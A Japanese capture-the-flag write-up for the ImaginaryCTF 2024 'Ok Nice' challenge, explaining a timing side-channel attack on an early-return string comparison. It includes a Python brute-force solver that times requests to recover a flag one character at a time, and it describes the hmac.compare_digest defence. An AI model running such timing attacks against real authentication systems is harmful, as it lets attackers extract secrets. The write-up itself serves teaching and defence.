ImaginaryCTF 2024 - Ok Nice

Challenge

フラグの各文字を推測するタイミング攻撃問題。

import time

flag = open('flag.txt').read().strip()

while True:
    guess = input("Guess: ")
    if len(guess) != len(flag):
        print("Wrong length!")
        continue

    for i, (g, f) in enumerate(zip(guess, flag)):
        if g != f:
            print(f"Wrong at position {i}")
            break
        time.sleep(0.1)  # 正解文字ごとに遅延
    else:
        print("Correct!")
        break

Solution

タイミング攻撃

応答時間の差からフラグを1文字ずつ特定:

import requests
import time
import string

url = "http://challenge.example.com/"

flag = "ictf{"
while not flag.endswith("}"):
    best_char = ""
    best_time = 0

    for c in string.printable:
        guess = flag + c + "x" * (FLAG_LENGTH - len(flag) - 1)

        start = time.time()
        r = requests.post(url, data={"guess": guess})
        elapsed = time.time() - start

        if elapsed > best_time:
            best_time = elapsed
            best_char = c

    flag += best_char
    print(f"Found: {flag}")

ord() による数値化

# ord() で文字を数値に変換してサイドチャネル
value = ord(flag[position])
# 数値を時間遅延やレスポンス長に変換

Technical Details

タイミングサイドチャネル

早期リターン (early return) パターンは、正解文字数に応じて処理時間が変化:

# 脆弱なパターン
for i in range(len(input)):
    if input[i] != secret[i]:
        return False  # 不一致で即リターン
    # 正解なら次の文字へ
return True

対策

# 定数時間比較
import hmac
hmac.compare_digest(input, secret)

Alternative Solutions

別解1: エラーメッセージベース

位置情報がエラーメッセージに含まれる場合:

# "Wrong at position 5" → 5文字目まで正解

別解2: バイナリサーチ

応答時間を使った効率的な探索:

# 各位置で二分探索
low, high = 32, 126
while low < high:
    mid = (low + high) // 2
    # mid を使ってテスト

Flag

ictf{...}

References

ImaginaryCTF 2024 Official
Timing Attack Wikipedia